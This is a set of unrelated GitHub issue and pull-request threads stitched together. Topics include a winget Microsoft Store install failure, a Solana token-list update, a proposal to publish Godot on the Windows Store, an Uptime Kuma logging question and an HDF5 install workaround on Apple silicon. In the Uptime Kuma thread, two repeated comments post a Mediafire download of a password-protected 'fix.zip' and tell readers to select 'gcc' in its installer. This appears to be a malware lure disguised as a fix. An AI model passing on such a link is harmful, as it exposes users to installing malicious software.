Cant install from MS Store

Brief description of your issue
Trying to install from MS Store, does not work.
Workaround: Try to find installer. Does not work. (Installer is also a bit hidden. could maybe update the docs and make it more clear, please?).
After finding it, however, it cannot update the app.
So I try to remove it (using standard windows add remove), but it will not let me. I try repair and reset, does not remedy the situation.
Maybe installation is half finished and blocking uninstall/update, perhaps.
Steps to reproduce
Use a windows pc.

Go to store.
Search for winget.
The tool is the third entry in the search results, after some games. For whatever reason.
Click install

Expected behavior

Expected: Is installed

Actual behavior

Actual: It says "Waiting" forever.

Environment
Not installed, see?

The "App Installer" contains the Windows Package Manager in the Microsoft Store. I've included screenshots below. You may also directly install via the latest release from GitHub.

@denelon: Can you see that you posted the exact same screenshot I posted, but yours is in english?

Hi again, so I tried looking at the store today, and it reports and error and a "Try again" button (note: swedish in shot below). The button seems to do nothing.
I go to add/remove in windows and the buttons are disabled/greyed out, see shot 2 below.
BR! /marcus

@mawid6
It looks like other Apps may need updates. Is one of those pending updates the Microsoft Store? I'm not sure what else could be causing this.
Does the App Installer get updated if you download and install from the GitHub releases in this repository?

Thanks @denelon.
I actually forgot to try the manual install before! Sorry.
That actually worked! (The installer package had some issue with displaying hte name, see shot below). So it is installed now. Lets see how it pans out.
Thanks alot for your support! 👍

closing. (private-work account confusion here ;-)

@mawid6
I'm glad you got it resolved!
Just as an informational note: The strange display string was a bug in an older version of App Installer. It has been fixed.


Make "OverrideUsernameClaimFromInternalUsername" property on the user-mgt.xml configurable.

Purpose
This PR adds support for configuring the OverrideUsernameClaimFromInternalUsername on the user-mgt.xml through the deployment.toml file.
Ex:
[user_mgt]
override_username_claim_from_internal_username = false

Related Issues

https://github.com/wso2/product-is/issues/16310

Closing according to https://github.com/wso2/product-is/issues/16310#issuecomment-1687885638


Updated servant-server, added needle

Nix cannot access the needle build because it's not registered in pkgs/top-level/haskell-packages.nix. Generally speaking, you should probably use those packages from the haskellngPackages set, which works fine:
$ nix-build '<nixpkgs>' -A haskellngPackages.needle
/nix/store/6km35g9vc51b7bmj3xa9lkhkjyscrxb0-haskell-needle-<IP_ADDRESS>


Update solana.tokenlist.json for NEKI, the amazing Maneki-Neko!

We are helping the NEKI project by updating their CoinGeckoID. They asked us to assist them with this.

Please note: This repository is being rebuilt to accept the new volume of token additions and modifications. PR merges will be delayed.

I agree to not ping anybody on Discord/Twitter/email about this pull request. Instead I will inquire by posting a new comment in the pull request if needed.

PRs are reviewed in bulk and and can take up to two weeks to be merged.
This repository is managed using an auto merge action. Please ensure your PR has no deleted lines, and it will be merged.
Please provide the following information for your token.
Please include change to the src/tokens/solana.tokenlist.json file in the PR.
DON'T modify any other token on the list.
At minimum each entry should have

Token Address:
Token Name:
Token Symbol:
Logo: (logo should be uploaded under assets/mainnet//*.<png/svg>)
Link to the official homepage of token:
Coingecko ID if available (https://www.coingecko.com/api/documentations/v3#/coins/get_coins__id_):

Auto merge requirements
Your pull request will be automatically merged if the following conditions are met:

Your pull request only adds new tokens to the list. Any modification to existing
tokens will require manual review to prevent unwanted modifications.

Your pull request does not touch unrelated code. In particular, reformatting changes to unrelated
code will cause the auto merge to reject your PR.

Any asset files added correspond to the token address you are adding. Asset files
must be PNG, JPG or SVG files.

Your change is valid JSON and conforms to the schema. If your change failed validation,
read the error message carefully and update your PR accordingly.

No other tokens shares the same name, symbol or address.

For example, this change would be rejected due to unrelated changes:

The bot runs every 60 minutes and bulk-merges all open pull requests to prevent conflicts.
This means that you need to wait up to 60 minutes for your pull request to be merged or reprocessed.

coingeckoId should be in the extensions dict

for internal reference, this token was added in https://github.com/solana-labs/token-list/commit/0e337e5900764108998ca2062dcac8017e2b1c5f

Thanks @keone will fix now

Thanks for the help @keone & @dogelana.  You guys are awesome!


Automated cherry pick of #2060: support get model distinct field

Cherry pick of #2060 on release/2.11.
#2060: support get model distinct field

Codecov Report

:exclamation: No coverage uploaded for pull request base (release/2.11@79ea74c). Click here to learn what that means.
The diff coverage is 0%.

@@              Coverage Diff               @@
##             release/2.11   #2077   +/-   ##
==============================================
  Coverage                ?   7.15%
==============================================
  Files                   ?     445
  Lines                   ?   69489
  Branches                ?       0
==============================================
  Hits                    ?    4974
  Misses                  ?   64102
  Partials                ?     413

Flag
Coverage Δ

#aFlag
7.15% <0%> (?)

Impacted Files
Coverage Δ

pkg/compute/models/vpcs.go
2% <0%> (ø)

pkg/compute/models/routetables.go
2.85% <0%> (ø)

pkg/cloudcommon/db/modelbase.go
1.7% <0%> (ø)

pkg/compute/models/guests.go
0.68% <0%> (ø)

pkg/compute/models/networks.go
0.82% <0%> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 79ea74c...439e94b. Read the comment docs.

/lgtm

/approve


Create a table of contents for the new and old notebooks

This is live in the outline.rst in first draft form.


Modify logging lines

⚠ Please verify that this question has NOT been raised before.

[X] I checked and didn't find similar issue

🛡 Security Policy

[X] I agree to have read this project Security Policy

📝 Describe your problem
Hello everyone,
I would like to monitor Uptime Kuma in Wazuh and read out the log files. These currently look like this for incorrect login attempts.
“2024-08-22T18:21:42+02:00 [AUTH] WARN: Incorrect username or password for user XXXX. IP=XXX.XXX.XXX.XXX”

Now to my question. Is it possible to design the log output in such a way that I can customize it for each log entry?
“2024-08-22T18:21:42+02:00 [UPTIMEKUMA] [AUTH] WARN: Incorrect username or password for user XXXX. IP=XXX.XXX.XXX.XXX”

This allows me to set my decoder to search for [UPTIMEKUMA] and then display the logs correctly and use active-response to block the IP's.
Uptime Kuma runs on Ubuntu without Docker.
Log path is: /root/.pm2/logs/uptime-kuma-error.log
📝 Error Message(s) or Log
No response
🐻 Uptime-Kuma Version
1.23.13
💻 Operating System and Arch
Ubuntu 24.04
🌐 Browser
Chrome
🖥 Deployment Environment

Runtime:
Database:
Filesystem used to store the database on:
number of monitors:

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Is it possible to design the log output in such a way that I can customize it for each log entry?

No, and I also don't know of a software that does allow customising log lines like you want.
=> I can't really imaginge why you would want that.. Any log-aggregator should just keep keep track of where the logs are comming from.


Ensure gradle-wrapper uses 7.5.1's file.

Simple enough.

"latest version" is more accurate than "7.5.1's file" because I did update the wrapper when I updated to 7.5.1; oh well, I'll do a merge soon

...and I procrastinated on this because I thought that the JAR was sussy; I did the SHA-256 check on both this JAR and yours, and it turns out it was the same; then i realized: you have pasted the JAR in the wrong location, hence the illusion that it has changed;
oh well, at least it isn't a virus

You shouldn't manually paste or copy around Gradle wrapper files at all, always use the wrapper task. (If you use the wrapper task to change the Gradle version as well using --gradle-version, make sure to run it twice for the new version's JAR and start scripts to be applied.)
On that topic, it may be a good idea using a .gitattributes to ensure the gradlew and gradlew.bat always have the correct line endings, see this one generated by gradle init:
https://github.com/kb-1000/mc-image/blob/7151531d01f57aaadeddeaeaa035de67de094160/.gitattributes#L1-L9
If this is not done, Git for Windows' autocrlf causes users on Linux and users on Windows to get different results committed for those.


am unable to login using identity

This is autogenerated. Please review and update as needed.
Describe the bug
Command Name
az login
Errors:
The command failed with an unexpected error. Here is the traceback:

Traceback (most recent call last):
  File "/usr/lib64/az/lib/python2.7/site-packages/knack/cli.py", line 206, in invoke
    cmd_result = self.invocation.execute(args)
  File "/usr/lib64/az/lib/python2.7/site-packages/azure/cli/core/commands/__init__.py", line 603, in execute
    raise ex
HTTPError

To Reproduce:
Steps to reproduce the behavior. Note that argument values have been redacted, as they may contain sensitive information.

Put any pre-requisite steps here...
az login --identity

Expected Behavior
Environment Summary
Linux-3.10.0-1062.4.1.el7.x86_64-x86_64-with-centos-7.7.1908-Core
Python 2.7.5
Shell: bash

azure-cli 2.0.76

Additional Context

its working!


How to use this with ResponsiveFramework

First of all, thanks for this great package it seems to be the most feature-rich onboarding solution for flutter!
However, I am having difficulties getting this package to work while using the Responsive Framework. Somehow the size of the focus widgets does not get calculated correctly (see video.)
I tried following #24 and added the globalOnboarding: true-parameter but this did not help.
Do you have an idea what could be a solution to this problem (except removing the responsive framework)?
https://user-images.githubusercontent.com/51273483/160679592-69e8c41e-ae23-48f2-85b8-df3c19cf5a83.mp4

Could you share some minimal reproduction code. Normally the size of the overlay hole is recalculated every time a LayoutBuilder rebuilds.

Okay, I made a small example that shows that the overlay is not matching the Container when using ResponsiveFramework.
onboarding_overlay_33.zip

I think I've found what's the issue. The package you mentioned is using some scaling which changes the size of the items. I think I have a solution to that, not heavily tested, but I can release a prerelease version for you to test it out. Just gonna add more docs. The trick would be to

move onboarding under the ResponsiveWrapper.builder
manually calculate scale for width and height
pass that to the onboarding widget.
by default those scale values will be 1.0

return MaterialApp(
      home: ResponsiveWrapper.builder(
        Builder(builder: (context) {
          final ResponsiveWrapperData data = ResponsiveWrapper.of(context);
          final scaleWidth = data.screenWidth / data.scaledWidth;
          final scaleHeight = data.screenHeight / data.scaledHeight;

          return Onboarding(
            key: widget.onboardingKey,
            steps: steps,
            globalOnboarding: true,
            debugBoundaries: true,
            child: const Home(),
            scaleWidth: scaleWidth,
            scaleHeight: scaleHeight,
          );
        }),
        maxWidth: 1200,
        minWidth: 480,
        defaultScale: true,
        breakpoints: [
          const ResponsiveBreakpoint.autoScale(800, name: TABLET),
        ],
      ),
      initialRoute: "/",
    );

3.1.0-pre.1

@CaptainDario any news?

@talamaska sorry, didn't really notice your reply! gonna check it out now.

@talamaska I tried your changes and it works great!
This is an awesome addition! As I am pretty sure that this is the only onboarding package which works with the responsive framework, I think you should add this to the README. I already read quite few bug reports about Onboarding/Showcase plugins not working with the responsive framework.
I also tried many different ones and this is the only one which now works!

Thanks for the feedback, I'll definitely add a point in the Readme about the usage with ResponsiveFramework.

Thank you for the quick help and update. I think this makes this package really standout!

@talamaska Hi Zlati, I'm Ray, author of the Responsive Framework here!
Thank you for helping test and integrate the Responsive Framework.
One thing the Responsive Framework does (correctly I believe), is override the inherited MediaQuery values to provide the scaled values instead of the device values. A lot of packages pull the device values with MediaQuery.fromWindow instead of MediaQuery.of(context) which results in incorrect values.
Here's what I'm doing inside Responsive Framework.

I want to make sure I'm not doing anything wrong. Your packages should be able to pull the scaleWidth and scaleHeight directly from MediaQuery with MediaQuery.of(context).size, instead of needing it to be passed manually.
            scaleWidth: scaleWidth,
            scaleHeight: scaleHeight,

Hi, @searchy2,
The thing here is that the widget that needs to access these values is in an Overlay. I'm almost sure it can be different context from the one given by the  ResponsiveWrapper.builder. I'll double check what you are suggesting.


@craigspaeth: 87 new design desktop for review - don't merge

Desktop version so far, not responsive to re-sizing except for some leftover changes on article pages from the original version.
Sorry for the enormous set of changes in one go, let me know if there's anything I can clarify!

Something I noticed during rake generate:
WARNING on line 61 of /Users/dblock/source/artsy.github.com/dblock/sass/partials/_syntax.scss: "html .gist .gist-file .gist-meta" failed to @extend ".sans".
  The selector ".sans" was not found.
  This will be an error in future releases of Sass.
  Use "@extend .sans !optional" if the extend should be able to fail.

I like how it's responsive taking the whole screen on a mobile device.

Maybe titles could be more visible/bigger/titleized?
I am not in love with how much white space we get otherwise.

I don't love the cyan hue.

Hey @dblock! all the pages will be getting responsive versions ( there are many other changes that will be made for the 'mobile' version there as well ) but I haven't really implemented any of those yet except for that one which was left over from the old design - the final mobile designs are here. Just wanted to get this up as it is now for a bit of a review.

@gristleism Awesome work! It's tricky to dive into a new framework like this and I think you did a great job! I'm excited for you to move on to the shows work in Force though, so I'm going to consider picking up the rest of the optimizations (particularly mobile) to get it in a place good enough to go live—or just leeroy jenkins merge this in and apologize after-the-fact for the poor mobile experience in the interim :D
Either way I'll take it from here, good work!


Django application deployment with Ansible

Article checklist
Pre-submission checks

Please ensure that you have only one open topic suggestion (issue) + in-review article (linked pull request) at a time. This will ensure that we complete the review process in a timely manner from inception to publishing

If you have not already, please go over our Resources Page for more tips and tricks on how to improve your overall technical writing so reviews are swifter, increase the chance of a payout and provide more value to our readers.

For first-time contributors and for more details on our submission guidelines, see our Contributing Guidelines.

Formatting and structure checks

[x] Have you used the correct folder and file structure? - see Contribution Guidelines

[x] Is your article properly formatted in Markdown? - see Github Markdown guide

[x] Have you used our preferred heading structure? - H3 (###) and up

[x] Does your article follow any of the suggested structure formats? - see example formats

[x] Is your article over 750 words? - Tool: Wordcounter.net

[x] Is the article you are submitting an in-depth and unique article? Does it go beyond what is in the official docs and what is covered in other blog sites. See these articles as examples.

[x] Does your article provide enough value and detail about your topic? - Articles should be clear, accurate, and fully explained.

[x] Can your article be understood by beginners? - Assume the audience is smart but has no prior exposure to the common terminology in your article.

[x] Have you included a hero image that is 600x400 pixels and have the copyright to use it? - Tools: Pixlr Image Editor for resizing and Unsplash for Creative Commons images

Grammar & plagiarism checks

[x] Have you spellchecked and grammar checked your article? - Tools: Write&Improve - ProWritingAid - Grammarly
[x] Please place your article through a 3rd party plagiarism checker. We suggest using Quetext, this tool is free and has a daily limit. We typically accept articles with 10% or less.
[x] Have you checked your article for readability? - Tool: Hemmingway
[x] Have you added sources for quotes and images that aren't yours?

Technical checks

[x] Are your code snippets properly formatted for syntax highlighting - see Syntax guide
[x] Have you checked your code runs correctly and you've highlighted all necessary dependencies for installation?
[x] Are the software programs and packages you're highlighting in your article up to date, using current versions and not deprecated?

Topic suggestion this closes

Remove the backticks and add the issue number below to link and close your Topic Suggestion (issue) when your article has been published (PR has been merged). See this video for more details.

This closes #3226

Finally, delete the article checklist notes in blockquotes and submit your PR. We look forward to reviewing your article.

@elizabeth962  i'll be reviewing this article.

Please add a link to the complete source code.

@elizabeth962 please provide instructions on how to execute ansible on the server.

@okeloviolet pushing the changes.

Plagiarism check done.

@okeloviolet I have made all the changes requested

Hello @okeloviolet @Kayere I have made the requested changes.

@paulodhiambo
Can you please finish up the review on this PR.
or @Kayere
Thank you

On it @hectorkambow.

@okeloviolet - Were you doing a test review?
cc: @hectorkambow

Hello @Kayere I was doing a test review.

Jumping on this one.

Great tutorial. Please go through the changes I've made. @elizabeth962
Cc @okeloviolet Please do the same.


Crashes when used with multiple storyboards.

All works great for me if all view controllers are on the same storyboard. However, when using multiple storyboards, I can't find a setup that works. However I do I get this error...
fatal error: items must inherit RAMAnimatedTabBarItem
Maybe someone else has experienced this problem and has a solution to this? Thanks.

maybe your forget step 3 (For each UITabBarItem, set the class to RAMAnimatedTabBarItem.)

Unfortunately not. Everything is in place and as mentioned I know how to make it work on a single storyboard. You should also be able to reproduce the bug (if it is one) by setting it up so it works on a single storyboard, then refactor to multiple storyboards. For me it breaks every time.
You can make it work on multiple storyboards by refactor to multiple storyboards from the second view controller related to each tab item, but that's not what you want when organizing a larger app.

I set up a clean repo demonstrating how the crash occurs (link below). Roll back to the single storyboard version to see that all works and then when refactoring to multiple storyboards, it breaks.
I would be very grateful for any help.
https://github.com/HumidBrains/BrokenRAMAnimatedTabBar.git

the problem is tabBar.items doesn't inherited from RAMAnimatedTabBarItem then use multiple storyboards screen
maybe it storyboard bug

I'm able to replicate this as well.

@HumidBrains I just made my own class
class AnimatedTabBarController: UITabBarController {
override func tabBar(tabBar: UITabBar, didSelectItem item: UITabBarItem) {
    if let view = item.valueForKey("view") as? UIView, let image = view.subviews.first as? UIImageView {

        //animating tab bar image
        let expandTransform = CGAffineTransformMakeScale(1.2, 1.2);
        image.transform = expandTransform
        UIView.animateWithDuration(0.7,
                                   delay:0.0,
                                   usingSpringWithDamping:0.40,
                                   initialSpringVelocity:0.1,
                                   options: .CurveEaseOut,
                                   animations: {
                                    image.transform = CGAffineTransformInvert(expandTransform)
            }, completion: nil)
    }
}

}
You can of course incorporate your own animation...but this saved me a lot of time I would've spent debugging

I was seeing this same issue.
A workaround is to create a container view controller and embed your other view controller that can be in a separate Storyboard. You'll need to declare the custom tab bar item as well as the animation object under the container view controller.
I've created a repo and a detailed README for how to this here.
Thanks to @jeffaburt for the help looking into this!

I have got same issue. When I test it on real device from XCode it works fine.
When I launch it from Crashlytics I found a crash in same method like in first comment.
Also same issue with #139
But I have got a crash on real-device.
I didn't check @jrmsklar solution yet. Try to solve it using another methods for now.
Thanks.


Release Google.Cloud.Eventarc.Publishing.V1 version 2.0.0-beta04

Changes in this release:
No API surface changes; just dependency updates.

Created release for Google.Cloud.Eventarc.Publishing.V1-2.0.0-beta04


Subscriptioninfo version 3 support

protocoltype = stream

https://github.com/axbaretto/kafka/blob/master/streams/src/main/java/org/apache/kafka/streams/processor/internals/assignment/SubscriptionInfo.java


Support for DOCTYPE?

I want to use sanitize-html to sanitize a whole html document rather than a fragment, but currently DOCTYPE is being removed as well. Is there any support or recommendation for DOCTYPE?

Duplicate of #131


Implement new initializations for conv neuralnet layer

PR for issue #2700
@lisitsyn Please have a look. I'm not sure if this is the correct way to implement this.

@lisitsyn Made the changes you suggested.

@lisitsyn sorry for the delay. I had my end-semester exams. made the changes you suggested. Please review.

@sanuj this time excuse my delay :) can we name MANUAL thing as NORMAL and AUTO as HE_NORMAL (as per author of the paper, like in Keras https://github.com/fchollet/keras/blob/master/keras/initializations.py) ?

@lisitsyn I have updated the code although for some reason i'm unable to run the unit-tests locally. Whenever I do make test after building shogun, I get make: *** No rule to make target test'.  Stop.
`

@lisitsyn ping :)

Ok this looks ok, thanks!


Add filter option for virtual devices

Because in most situations the user wants to hide only physical controllers, it would be good to have a filtering option that hides virtual controllers, making the usage more intuitive, though I guess that would only work if HidHide knows what to look for? (vigemBUS spawned controllers for example)

Note: that's a client topic, not a driver topic. The driver theoretically also can look-up the device parents but that gets messy really quickly and should be avoided and kept done in user-land. Also, the next release with the scripting/CLI interface might deprecate this need anyway.

There is no reliable way for this as you'd need to address every virtual controller solution out there in the client UI logic (and there are quite a few, not only ViGEmBus) so I consider this out of scope.


Add batch mode for bower commands

Bower is assuming human interaction on bower commands. Please add a feature to run bower commands in batch/script mode where no human interaction is needed. Eg. assuming default values for answers.

Bower can be executed from shell script and there's --json flag for computer interaction. Also there's programmatic API


Fix for System or default font name on iOS

It's a fix with respect to system / default font issue on iOS, in which this font looks like "Time News Roman". https://github.com/matteobortolazzo/HtmlLabelPlugin/issues/9.

Thank you very much!! I think I can update the package tonight


Interpretation suggestion SDG13 - Target 3

SDG: 13
Target: 13.3
Suggestion: Consider the interpretation and the relation between interpretation and search phrase
Reason:  A few questions have arisen during testing: 1. Should the natural adaptation of species to new living conditions (eg due to global warming) be included, or only man-driven, conscious acts of adaptation? 2.  Still excludes many publications about carbon capture, mitigation of emissions etc., where consequence for climate is implied, but not spelled out

Part 1: seen in combination with issues 83 and 85 and considered to be resolved.


Make zero() work for non-square MIMO systems

Currently, the QZ algorithm is used to find transmission zeroes for state-space models without slycot. This only works when the compound system matrix is square (the number of inputs must equal the number of outputs, or for a closed-loop system, the number of states must equal the number of outputs). Many systems don't satisfy this requirement.
This paper describes the algorithm SLICOT uses to reduce the system to a square matrix: https://perso.uclouvain.be/paul.vandooren/publications/MisraVV94.pdf. Implementations of the SVD, the QR decomposition, and the RQ decomposition are needed for it (scipy seems to have them). The rest of the algorithm is just extracting and repacking submatrices recursively.

I found a paper mentioned by the above pdf that addresses implicit state-space models (the simpler problem python control deals with): https://perso.uclouvain.be/paul.vandooren/publications/EmamiNaeiniV82.pdf. I converted the fortran code provided at the end to python a few months ago, but it produced incorrect results for the unit tests. I later determined that the original fortran produces the same incorrect results compared to slicot. Translating the slicot version to python is probably the clearest path forward.


Fix: Add loading state to each submit button

Overview

This PR is a takeover of https://github.com/nishiki-tech/nishiki-frontend/pull/368. Please take a look at the original PR for details.
Review points

I would like you to double-check if each form only allows one submission. Multiple submissions used to be possible by either mashing the submit button of the UI or the [ enter ] key.

Notes

Assignee Checklist:

[x] The naming convention of the PR title is correct (See the comment at the top of this template)
[x] The base branch is correct (See: Types of Branches)
[x] The branch name follows the Branch Naming Conventions
[x] The correct assignees and reviewers have been designated for this PR
[x] The coding style follows the Coding Style Guide
[x] All the related issues are associated with this PR
[x] All criteria in the associated issues are met (please tick the checkboxes)
[x] My changes do not generate new warnings or errors (especially in the console)

Reviewer Checklist:

[ ] Double-check the "Assignee Checklist"
[ ] The code follows the generic best practices and our Coding Style Guide
[ ] The code is well-commented and easy to understand
[ ] The UI changes accurately reflect the provided design

@ShoeheyOt @kanta1207
Could you review this PR when you have time, please?

@ShoeheyOt
Thank you for your review :)


Distribute Godot on the Windows 10 Store

I know the open source art program Krita has done something similar, but perhaps Godot could be on the Windows 10 app store along with Steam to streamline the update experience for those who don't have the Steam client open all the time. Krita is also a paid app, so perhaps that could help fund development if there's interest in that option.

In theory it might work with the Desktop Bridge, but it needs further investigation.

For the record, Inkscape is also available in the Windows Store. I don't think it's an UWP application, so there must be a way to do it (sandboxing will very likely be applied to the executable still).

Yes, the Desktop Bridge allows a regular Win32 app to be packaged and published in the store. I do think it is sandboxed and might forbid some syscalls, so it needs to be properly tested.
What concerns me most is the process forks for running the editor from the project manager and running the game from the editor.

If there are any concerns with onboarding that are not on any Microsoft docs, I can get in contact with the store team. I used to work with them and I'm sure they'd be happy to have more apps like Godot.
I'm not as familiar with the intricacies of Godot's source, but as mentioned, there mainly needs to be a UWP wrapper around the Win32 app.

Here is a simple packaging project i built using this guide for packaging. It seems that the app is running fine but I have not tested it intensively. The included godot.exe is the x64 version of the latest stable release downloaded from the website.
GodotWinStore.zip

I tested the Desktop Bridge and it seems to work fine with Godot. I need to do more thorough tests in S mode but at first it seems to work fine (apart from things that call external programs, like some exporting processes). And I doubt anyone will do real development on a Windows S system, since it's too restricted and many dev tools can't even be installed.
The sandbox isn't that bad and allow downloading projects from the asset lib, creating folders and projects in a user-selected, and run the projects from the editor.
I also need to investigate the proper way to open a store account for Godot.

Note that publishing on the Windows Store doesn't seem to be frictionless: https://twitter.com/Krita_Painting/status/1019849392835190785
Their 10.8.5 policy which is bothering Krita might also kill the Asset Lib for the Windows Store build.

Is this still relevant today, considering the current state of the Windows 10 store?

The advantage of publishing would be that we get a signed binary that won't trigger the usual Windows warnings. It also has an auto-updater (which can be good or bad, but would be the same as the Steam version).

can someone either close this or assign this to milestone 4.0 just like this and this?

@anneomcl  please check if this recent UWP export experience address your issue

@GeorgeS2019 can you please read the issues before spamming your message? This issue is about publishing the Godot editor in the Windows store, it has nothing to do with UWP export.

@vnen, in my view, UWP export is still not easy to reproduce. Making Godot as Windows (UWP instead of Win32) Store app is more of feature proposal than an issue to be discussed here.

@GeorgeS2019 we can publish a Win32 app in the store as I mentioned before. This doesn't need UWP at all. This issue is more about bureaucracy (having an official Godot account in the MS store and integrating it in the release process) than technical (except for the Desktop Bridge integration).
Though my point was that this is not related to UWP export so your comment was not relevant.

@vnen    the future of NET5 and future Windows OS is to move away from Win32 to UWP.  The fact that the label has been changed from Windows to UWP reflects the "Future-looking" thinking.

@GeorgeS2019 label change was a mistake that I didn't notice before. It doesn't matter what the future is supposed to be, this issue is not about UWP export, it's about the editor and not about exported games.

Closing, as the UWP platform port is considered in maintenance mode (and is unlikely to be ever able to run a full-blown Godot editor with no caveats).

What about publishing as Win32? It is now possible without issues. Did the publishing of both a .NET packaged app and a win32 one and everything went pretty fine.

What about publishing as Win32? It is now possible without issues.

I didn't know this was possible :slightly_smiling_face:
Is a bridging process still required? I remember it breaking a lot of things and only working reliably with Electron apps.

Hello,
I finally found the time to test this. I have packaged godot 4.0 alpha1 using MSIX and it went pretty fine at the moment. Godot is installed fine using Win11 app installer and it runs fine without issues. At the moment I have used Advanced Installer Express to package the app as it is the easiest way at the moment (not the only one, it should also be possible to use the WapProj Template From Visual Studio but I did not succeed in packaging a single compiled exe, only C++ and .NET apps linked as a project dependency at the moment).
.
Here is an MSIX file signed with a test certificate which should be installed in Current User->Personal (the pw is the same as the cert name).
Be warned though: the test certificate, after testing should be removed so you don't have holes in your security, but it is the same with all the self-created ones. This won't be a problem as it should be used only to upload on the windows store, where Microsoft actually replaces it with their own secure one.
Here is the test MSIX: https://we.tl/t-fnmlN1yfHY
Also remember that there is still the option to upload Win32 apps directly to the microsoft store if needed but it is needed to get in touch with Microsoft.

So is godot considering distributing Godot on ms store?

So is godot considering distributing Godot on ms store?

There are no plans to release Godot on the Microsoft Store for now.

Having Godot installable through store or winget would be nice as then you can get auto-updating capabilities of MSIX packaging.
Right now having to manually check for updates, download each interim release of the .NET version, unzip to a folder, resetup some shortcut to run the exe... there's a lot of steps.
Would be nice to just have installed and auto-update when there's a new version, or be able to install/uninstall versions side-by-side in winget. Also, would make setting up a new dev-box or sandbox environment easier.

Right now having to manually check for updates, download each interim release of the .NET version, unzip to a folder, resetup some shortcut to run the exe... there's a lot of steps.

This is all you need:
scoop install godot-mono


python311Packages.pywerview: 0.4.1 -> 0.5.0

Diff: https://github.com/the-useless-one/pywerview/compare/refs/tags/v0.4.1...v0.5.0
Changelog: https://github.com/the-useless-one/pywerview/releases/tag/v0.5.0
Description of changes

Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.05 Release Notes (or backporting 22.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 235132 run on x86_64-linux 1

6 packages built:

crackmapexec
crackmapexec.dist
python310Packages.pywerview
python310Packages.pywerview.dist
python311Packages.pywerview
python311Packages.pywerview.dist


<EMAIL_ADDRESS>

See the 0.18.0 and 0.19.0 upgrade guides.
I typically upgrade Ramda one minor version at a time, but I had trouble with one of the doctests when running 0.18.0, so I decided to skip that version. The changes are minimal, at any rate.

I was just in the middle of doing a PR for this because I need that toIsoString fix in Ramda 0.19 and I was getting the same doc test error when running locally as is in CircleCI now. It's very hard to debug.

So it looks like the issue is actually in doctest. For some reason, on my install Ramda is not in the doctest node_modules folder. I'm guessing it was working before because require was recursively finding the Ramda package being used in Sanctuary and because they we're both expecting v0.17 then that was fine. When I physically went into the doctest directory in node_modules and ran npm install the errors disappeared.

If you look in the CircleCI logs you'll see this:

npm install
npm WARN unmet dependency /home/ubuntu/sanctuary/node_modules/doctest requires<EMAIL_ADDRESS>but will load
npm WARN unmet dependency /home/ubuntu/sanctuary/node_modules/ramda,
npm WARN unmet dependency which is version 0.19.1

LGTM.


Drop recursive npm install

By the time "install" lifecycle script
is invoked npm already has installed
all the dependencies.

It seems to fix issues with iojs 2.x build in AppVeyor.

Shoot, are we sure this works for git-referenced npm installs? Like in your package.json
"dependencies": {
  "nodegit": "nodegit/nodegit"
}

It (at least) used to be the case that in that scenario, it wouldn't install devdependencies, only dependencies. But we needed the devdependencies installed to do the generation. Has that changed with newer versions of NPM?

Shoot, are we sure this works for git-referenced npm installs? Like in your package.json
"dependencies": {
  "nodegit": "nodegit/nodegit"
}

Haven't tested that...

It (at least) used to be the case that in that scenario, it wouldn't
install devdependencies, only dependencies. But we needed the
devdependencies installed to do the generation. Has that changed with
newer versions of NPM?

In that case we just need to move stuff from dev to normal (unfortunately).
Unless we make it work...

Ah yeah, thats why we do that.
Fortunately I've managed to chop off a lot of the dev dependencies at least. This is actually an issue I've been talking with the NPM folks for a long time now (the ability to run some scripts before install, but after deps are installed).
Actually, could we include those deps as bundled deps? IIRC in that case npm will go fetch those first.
If not, we have to move a few packages, but more can be deleted

remove npm from deps (requires deleting lifecyclescripts/clean, but thats been dead for a while)
remove tar and request from dev-deps
move combyne, js-beautify, lodash, nan, node-gyp, and nw-gyp to deps

Additionally, with some love (that I keep getting started on then pulled from), we could get rid of the dependency on nw-gyp and which-native-nodish. With a PR to node-pre-gyp, we may be able to ditch the dep on node-gyp as well, if they bundle it with themselves.


Remove no uncommitted changes check

Remove the check for uncommitted changes, and commit the contents of make dist/buf via an action. This should override any locally made changes and not care about version mismatches, since it should always compile the source of truth.

To clarify this pushes a new PR to the main branch once a PR is merged? Only downside i see with this is around tagging and our dependents relying on go get go.viam.com/api@HEAD which may pull the latest without the file updates in there.

yeah I think for that reason we should only be pulling semvers, not shas


Complications with HDF5 dependency on mac silicon

This is a bit esoteric, but I'll document it here in case anyone else runs into it. Also note that the issue will probably resolve as the dependencies are updated.
The specific issue appears to be with the PyTables dependency, and specifically the HDF5 library within that dependency all when running on the Apple M1 chip. This StackOverflow issue summarizes things nicely:
https://stackoverflow.com/questions/66147426/trying-to-install-pytables-for-python3
Ultimately the fix was to install pytables first, then to pip install hydrotools. The pytables installation requires explicit declaration of the hdf5 path:
brew install hdf5
HDF5_DIR=/Users/user/homebrew/opt/hdf5 pip install tables
pip install hydrotools

How did you install HDF5?  Or did you install it prior to trying to instal this package?

FWIW this has been actively worked in PyTables/PyTables#832 and my guess is that resolving your installation of HDF5 will get through this.

@jameshalgren Thanks for reporting. Do you know if this issue also occurs when using conda or is it a pip specific problem?

If the problem is pip specific, a conda-forge package might help resolve the issue.
https://github.com/conda-forge/staged-recipes
https://github.com/conda-incubator/grayskull

It looks like a good build of hdf5 has hit homebrew for arm.  This error still creeps up, but can be resolved by installing hdf5 from homebrew
brew install hdf5

and then installing tables and explicitly pointing to the brew hdf5 dir via an environment variable
HDF5_DIR=<homebrew_location>/opt/hdf5 pip install tables

